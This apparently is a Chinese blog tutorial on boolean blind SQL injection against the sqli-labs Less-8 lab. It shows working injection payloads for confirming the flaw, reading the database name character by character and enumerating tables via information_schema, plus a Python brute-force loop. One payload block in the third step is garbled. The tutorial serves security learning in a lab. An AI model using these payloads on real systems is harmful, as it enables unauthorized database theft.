跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python算法

SQL 注入布尔盲注完整流程与 Python 脚本实现

讲解 SQL 注入布尔盲注的完整手工流程及 Python 脚本实现。以 sqli-labs Less-8 为例,演示如何确认注入点、探测数据库长度、逐字符爆破库名表名及数据。对比线性枚举与二分查找策略,提供 Python 脚本逻辑分析,帮助理解从原理到攻击链路的实现细节。

灵魂摆渡发布于 2026/3/30更新于 2026/10/25122 浏览

前言

靶场环境使用 sqli-labs,推荐在本地搭建练习:

  • 通用版本:sqli-labs
  • PHP7 兼容版本:sqli-labs-php7

靶场题目:Less-8

Less-8 是 sqli-labs 中经典的布尔盲注题目。页面特征如下:

  • 查询成功时显示固定字符串(如 "You are in…")
  • 查询失败或条件不成立时页面为空
  • 没有任何报错信息,没有数据回显

正是这种 "只告诉你对不对、不告诉你答案是什么" 的特性,构成了布尔盲注的标准场景。

手工注入:完整流程走一遍

第一步:确认注入点类型

通过尝试不同的闭合符号来判断 SQL 语句的结构:

?id=1' → 页面异常(单引号破坏了 SQL 语句)
?id=1' --+ → 页面恢复正常(注释掉了后半段)
?id=1' and 1--+ → 正常
?id=1' and 0--+ → 异常

and 1 正常、and 0 异常,说明我们的条件语句可以影响查询结果,注入点确认。

第二步:测量数据库名长度

在开始逐字符爆破之前,先确认目标字符串的长度,可以减少无效请求:

?id=1' and (select length(database()))=8--+

页面正常,说明当前数据库名长度恰好为 8。通过逐个尝试 1、2、3…可以精确定位长度。

第三步:逐字符爆破数据库名

核心思路是用 ascii() 将字符转为数字,再通过等号或大小于号进行比较:

-- 判断第 1 个字符的 ASCII 码是否等于 115(即字母 's')
?id=1' and (select ascii(substr(database(),1,1))) =  +
 也可以先用不等式缩小范围
?='(select (((),,)))<+
115
--
--
id
1
and
ascii
substr
database
1
1
100
--

在 MySQL 中,ascii('s') = 115,ascii('e') = 101,依此类推,逐位确认后拼出完整库名 security。

第四步:爆破表名

库名已知,下一步是枚举库中的表名。需要引入 information_schema 这张 MySQL 的 "数据字典":

-- 取 security 库中第一张表,检查表名第一个字符
?id=1' and (select ascii(substr( (select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))<115--+

limit 0,1 表示取第一条结果,改为 limit 1,1 则取第二张表,以此类推枚举所有表。

第五步:爆破字段名与数据

思路完全一致,只是查询目标换成 information_schema.columns,最后再直接查目标表的数据。完整攻击链路可以归纳为:

库名 → 表名 → 字段名 → 字段数据

每一步都是对上一步结果的细化,结构清晰、方法统一。

Python 脚本:bool.py 线性枚举版

脚本思路

与二分查找不同,bool.py 采用线性枚举策略:对每个字符位置,从 ASCII 32 到 126 逐个试探,直到找到匹配的字符。虽然每个字符最多需要发送 95 次请求,但逻辑最直观,便于初学者理解和调试。

脚本核心逻辑如下:

for i in range(1, 9):  # 遍历字符串的第 1~8 位
    for j in range(32, 127):  # 遍历所有可打印 ASCII 字符
        payload = "?id=1' and ascii(substr(database(),%d,1))=%d --+" % (i, j)
        res = requests.get(url + payload)
        if "You are in..........." in res.text:
            db_name += chr(j)  # 命中,追加字符
            break  # 当前位已找到,跳出内层循环

每轮内层循环一旦命中目标字符,即可 break 跳出,继续下一位的枚举。

两种策略的对比
策略每字符请求次数(最坏情况)适用场景
线性枚举(bool.py)最多 95 次学习调试、字符串较短
二分查找(bool1.py)最多 7 次生产级利用、长字符串

对于一个 8 位库名,线性版最多发送 760 次请求,二分版只需约 56 次。字段数据往往更长,此时二分查找的优势会更加显著。

关键知识点小结

为什么用 ASCII 码而不直接比较字符?

SQL 中直接比较字符串(如 substr(...)='s')存在大小写不敏感等问题,而 ascii() 返回的是整数,比较结果唯一确定,更加可靠。

information_schema 是什么?

这是 MySQL 内置的元数据库,存储了所有数据库、表、字段的结构信息。只要有查询权限,就可以通过它枚举整个数据库的 "目录",这也是 SQL 注入能够获取任意数据的关键所在。

substr 与 substring 的区别?

两者完全等价,substr(str, pos, len) 从第 pos 位(从 1 开始)截取 len 个字符。在构造 payload 时可以互换使用。

完整代码与后续

bool.py 与 bool1.py(二分查找版)脚本均已上传至 GitHub,可配合本地搭建的 sqli-labs 靶场直接运行练习。

脚本源码:https://github.com/aqirompt/sqli-labs-bool

免责声明:本文内容仅供授权环境下的安全学习与研究,请勿将相关技术用于任何未经授权的系统。

目录

  1. 前言
  2. 靶场题目:Less-8
  3. 手工注入:完整流程走一遍
  4. 第一步:确认注入点类型
  5. 第二步:测量数据库名长度
  6. 第三步:逐字符爆破数据库名
  7. 第四步:爆破表名
  8. 第五步:爆破字段名与数据
  9. Python 脚本:bool.py 线性枚举版
  10. 脚本思路
  11. 两种策略的对比
  12. 关键知识点小结
  13. 完整代码与后续

更多推荐文章

查看全部
  • AI 时代打造超级个体:个人效能提升与实战路径
  • Python 使用 Turtle 库绘制动态樱花树及飘落效果
  • Linux 下使用 C++ 与 OpenSSL 实现 HTTPS 服务器详解
  • JavaScript 对象与数组核心用法
  • 阿里云 DashScope、OpenAI 及 aiohttp Python SDK 异步性能对比
  • Prometheus + Grafana 实现 Java 应用数据监控系统
  • C、Java、Python 三大语言对比与未来选择指南
  • Vue3 + TypeScript Promise 转 string 类型错误解析及异步处理最佳实践
  • 机器人底盘无刷电机 PWM 调速板驱动 75mm 麦克纳姆轮
  • 基于 Vue 和 Python 的校园互助交友平台设计与实现
  • Claude Code 替代方案:OpenCode 搭配 GitHub Copilot
  • Android 设备连接 Mac 的 6 种常用方法
  • 开源 ASR 新选择:Fun-ASR 与 Whisper 对比评测
  • AirSim 无人机仿真平台:环境搭建与实战应用
  • AI+AR智能眼镜赛道年终观察
  • AMD 显卡在 Windows 中通过 WSL 部署 Stable Diffusion(WebUI 与 ComfyUI)
  • 如何在 Llama-Factory 中自定义损失函数
  • C++ STL 标准算法详解
  • RabbitMQ 七种工作模式详解
  • 为什么浏览器能跑的请求在 OkHttp 里却挂了?

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online